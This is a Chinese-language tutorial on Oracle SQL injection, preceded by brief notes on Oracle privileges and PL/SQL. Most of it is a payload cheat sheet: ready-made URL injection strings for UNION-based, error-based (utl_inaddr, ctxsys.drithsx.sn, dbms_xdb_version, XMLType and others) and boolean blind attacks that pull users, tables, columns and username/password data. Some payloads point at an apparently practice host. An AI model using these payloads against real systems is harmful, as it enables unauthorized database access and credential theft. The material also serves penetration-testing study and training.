1. 無法使用WITH GRANT OPTION為角色授予對象權限
2. 可以使用WITH ADMIN OPTION 為角色授予系統權限,取消時不是級聯
PL/SQL語言
PL/SQL 也是一種程序語言,叫做過程化 SQL 語言(Procedual Language/SQL)。
PL/SQL 是 Oracle 數據庫對 SQL 語句的擴展。在普通 SQL 語句的使用上增加了編程語言的特點,所以 PL/SQL 就是把數據操作和查詢語句組織在 PL/SQL 代碼的過程性單元中,通過邏輯判斷、循環等操作實現復雜的功能或者計算的程序語言。在 PL/SQL 編程語言是由甲骨文公司在 20 世紀 80 年代,作為 SQL 程序擴展語言和 Oracle 關系數據庫開發。
基本結構如下:
DECLARE
BEGIN
EXCEPTION
END;
SQL 注入需注意的規則
?Oracle 使用查詢語言獲取需要跟上表名,這一點和 Access 類似,沒有表的情況下可以使用 dual 表,dual 是 Oracle 的虛擬表,用來構成 select 的語法規則,Oracle 保證 dual 里面永遠只有一條記錄。
?Oracle 的數據庫類型是強匹配,所以在 Oracle 進行類似 Union 查詢數據時必須讓對應位置上的數據類型和表中的列的數據類型是一致的,也可以使用 NULL 代替某些無法快速猜測出的數據類型位置,這一點和 SQL Server 類似。
?Oracle 和 mysql 不一樣,分頁中沒有 limit,而是使用三層查詢嵌套的方式實現分頁 例如: SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >=0
?Oracle 的單行注釋符號是 --,多行注釋符號 /**/。
?Oracle 數據庫包含了幾個系統表,這幾個系統表里存儲了系統數據庫的表名和列名,如 user_tab_columns,all_tab_columns,all_tables,user_tables 系統表就存儲了用戶的所有的表、列名,其中 table_name 表示的是系統里的表名,column_name 里的是系統里存在的列名。
?Oracle 使用 || 拼接字符串(在 URL 中使用編碼 %7c 表示),concat() 函數也可以實現兩個字符串的拼接
聯合查詢注入
Payload空格有問題,可以放在vscode中查看
# 判斷注入點
所有數據庫方式都一樣
# 判斷列數
依舊提交 order by 去猜測顯示當前頁面所用的 SQL 查詢了多少個字段,也就是確認查詢字段數。
?id=1 order by 3 --+
?id=1 order by 4 --+
# 判斷回顯點
?id=-1 union select null,null,null from dual --+
?id=-1 union select 1,'2','3' from dual --+
# 獲取數據庫基本信息
?id=-1 union select 1,(select banner from sys.v_$version where rownum=1 ),'3' from dual --+
?id=-1 union select 1,(select instance_name from v_$instance),'3' from dual --+
# 獲取數據庫名,即用戶名
Oracle 沒有數據庫名的概念,所謂數據庫名,即數據表的擁有者,也就是用戶名。
1. 獲取第一個用戶名
?id=-1 union select 1,(select username from all_users where rownum=1),'3' from dual --+
2. 獲取第二個用戶名
?id=-1 union select 1,(select username from all_users where rownum=1 and username not in ('SYS')),'3' from dual --+
3. 獲取當前用戶名
?id=-1 union select 1,(SELECT user FROM dual),'3' from dual --+
# 獲取表名
1. 獲取Test用戶第一張表
?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST'),'3' from dual --+
2. 獲取Test用戶第二張表
?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST' and table_name<>'NEWS'),'3' from dual --+
# 獲取字段名
?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),'3' from dual --+
?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1 and column_name<>'ID'),'3' from dual --+
# 獲取數據
?id=-1 union select 1,(select concat(concat(username,'~~'),password) from users where rownum=1),null from dual --+
報錯注入
在 oracle 注入時候出現了數據庫報錯信息,可以優先選擇報錯注入,使用報錯的方式將查詢數據的結果帶出到錯誤頁面中。
使用報錯注入需要使用類似 1=[報錯語句],1>[報錯語句],使用比較運算符,這樣的方式進行報錯注入(MYSQL 僅使用函數報錯即可),類似 mssql 報錯注入的方式。
utl_inaddr.get_host_name ()
utl_inaddr.get_host_address 本意是獲取 ip 地址,但是如果傳遞參數無法得到解析就會返回一個 oracle 錯誤并顯示傳遞的參數。
我們傳遞的是一個 sql 語句所以返回的就是語句執行的結果。oracle 在啟動之后,把一些系統變量都放置到一些特定的視圖當中,可以利用這些視圖獲得想要的東西。
# 獲取用戶名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select user from dual)%7c%7c'~') --+
# 獲取表名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+
# 獲取字段名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+
# 獲取數據
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+
ctxsys.drithsx.sn ()
# 獲取用戶名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select user from dual)%7c%7c'~') --+
# 獲取表名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+
# 獲取字段名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+
# 獲取數據
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+
dbms_xdb_version.checkin ()
# 獲取用戶名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
# 獲取表名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
# 獲取字段名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
# 獲取數據
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+
dbms_xdb_version.makeversioned ()
# 獲取用戶名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
# 獲取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
# 獲取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
# 獲取數據
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+
dbms_xdb_version.uncheckout ()
# 獲取用戶名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
# 獲取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
# 獲取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
# 獲取數據
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+
dbms_utility.sqlid_to_sqlhash ()
# 獲取用戶名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
# 獲取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
# 獲取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
# 獲取數據
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+
ordsys.ord_dicom.getmappingxpath ()
# 獲取用戶名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
# 獲取表名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
# 獲取字段名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
# 獲取數據
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+
XMLType ()
# 獲取用戶名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --+
# 獲取表名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7cchr(62))) from dual) is not null --+
# 獲取字段名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7cchr(62))) from dual) is not null --+
# 獲取數據
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select username from test.users where rownum=1)%7c%7cchr(62))) from dual) is not null --+
布爾型盲注
decode()
decode(字段或字段的運算,值1,值2,值3)
這個函數運行的結果是,當字段或字段的運算的值等于值 1 時,該函數返回值 2,否則返回值3,當然值 1,值 2,值 3 也可以是表達式,這個函數使得某些 sql 語句簡單了許多
# 判斷是否是TEST用戶
?id=1 and 1=(select decode(user,'TEST',1,0) from dual) --+
# 猜解當前用戶
?id=1 and 1=(select decode(substr((select user from dual),1,1),'a',1,0) from dual) --+
# 猜解表名
?id=1 and 1=(select decode(substr((select table_name from all_tables where rownum=1 and owner='TEST'),1,1),'N',1,0) from dual) --+
# 猜解字段名
?id=1 and 1=(select decode(substr((select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),1,1),'I',1,0) from dual) --+
# 猜解數據
?id=1 and 1=(select decode(substr((select username from test.users where rownum=1),1,1),'a',1,0) from dual) --+
instr ()
instr 函數的使用,從一個字符串中查找指定子串的位置
select instr('123456789','12') position from dual;
可以使用該函數按位爆破,該函數返回是從1開始
?id=1 and (instr((select user from dual),'S'))=1 --+
?id=1 and (instr((select user from dual),'SY'))=1 --+
?id=1 and (instr((select user from dual),'SYS'))=1 --+
substr()
這個就和mysql 基本一致
# 猜解數據長度
?id=1 and (select length(user) from dual)=3 --+
# ASCII按位爆破
?id=1 and (select ascii(substr(user,1,1))from dual)=65 --+